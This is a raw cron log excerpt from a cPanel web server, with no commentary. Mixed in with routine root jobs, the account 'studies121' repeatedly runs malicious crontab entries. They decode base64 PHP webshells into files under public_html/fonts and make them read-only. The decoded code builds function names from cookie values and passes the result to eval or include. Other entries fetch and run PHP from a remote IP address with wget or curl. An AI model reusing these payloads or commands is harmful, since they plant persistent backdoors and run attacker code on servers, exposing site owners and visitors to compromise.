Aug 31 02:35:01 ip-184-168-122-23 CROND[13954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:35:01 ip-184-168-122-23 CROND[13951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:35:01 ip-184-168-122-23 CROND[13956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:36:01 ip-184-168-122-23 CROND[14066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:36:01 ip-184-168-122-23 CROND[14071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:36:01 ip-184-168-122-23 CROND[14070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:36:01 ip-184-168-122-23 CROND[14073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:36:01 ip-184-168-122-23 CROND[14074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:37:01 ip-184-168-122-23 CROND[14183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:37:01 ip-184-168-122-23 CROND[14182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:37:01 ip-184-168-122-23 CROND[14185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:37:01 ip-184-168-122-23 CROND[14184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:38:01 ip-184-168-122-23 CROND[14274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:38:01 ip-184-168-122-23 CROND[14276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:38:01 ip-184-168-122-23 CROND[14277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:38:01 ip-184-168-122-23 CROND[14279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:38:01 ip-184-168-122-23 CROND[14278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:39:01 ip-184-168-122-23 CROND[14519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:39:01 ip-184-168-122-23 CROND[14524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:39:01 ip-184-168-122-23 CROND[14522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:39:01 ip-184-168-122-23 CROND[14521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:39:01 ip-184-168-122-23 CROND[14523]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:40:01 ip-184-168-122-23 CROND[14705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:40:01 ip-184-168-122-23 CROND[14706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:40:01 ip-184-168-122-23 CROND[14711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:41:01 ip-184-168-122-23 CROND[14847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:41:01 ip-184-168-122-23 CROND[14848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:41:01 ip-184-168-122-23 CROND[14849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:41:01 ip-184-168-122-23 CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:42:01 ip-184-168-122-23 CROND[15004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:42:01 ip-184-168-122-23 CROND[15008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:42:01 ip-184-168-122-23 CROND[15006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:42:01 ip-184-168-122-23 CROND[15007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:42:01 ip-184-168-122-23 CROND[15009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:43:01 ip-184-168-122-23 CROND[15167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:43:01 ip-184-168-122-23 CROND[15169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:43:01 ip-184-168-122-23 CROND[15170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:43:01 ip-184-168-122-23 CROND[15168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:44:01 ip-184-168-122-23 CROND[15273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:44:01 ip-184-168-122-23 CROND[15275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:44:01 ip-184-168-122-23 CROND[15278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:44:01 ip-184-168-122-23 CROND[15277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:44:01 ip-184-168-122-23 CROND[15276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:45:01 ip-184-168-122-23 CROND[15367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:45:01 ip-184-168-122-23 CROND[15370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:45:01 ip-184-168-122-23 CROND[15369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:45:01 ip-184-168-122-23 CROND[15371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:45:01 ip-184-168-122-23 CROND[15372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:45:01 ip-184-168-122-23 CROND[15375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15469]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15468]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:46:01 ip-184-168-122-23 CROND[15471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:46:01 ip-184-168-122-23 CROND[15472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:47:01 ip-184-168-122-23 CROND[15562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:47:01 ip-184-168-122-23 CROND[15564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
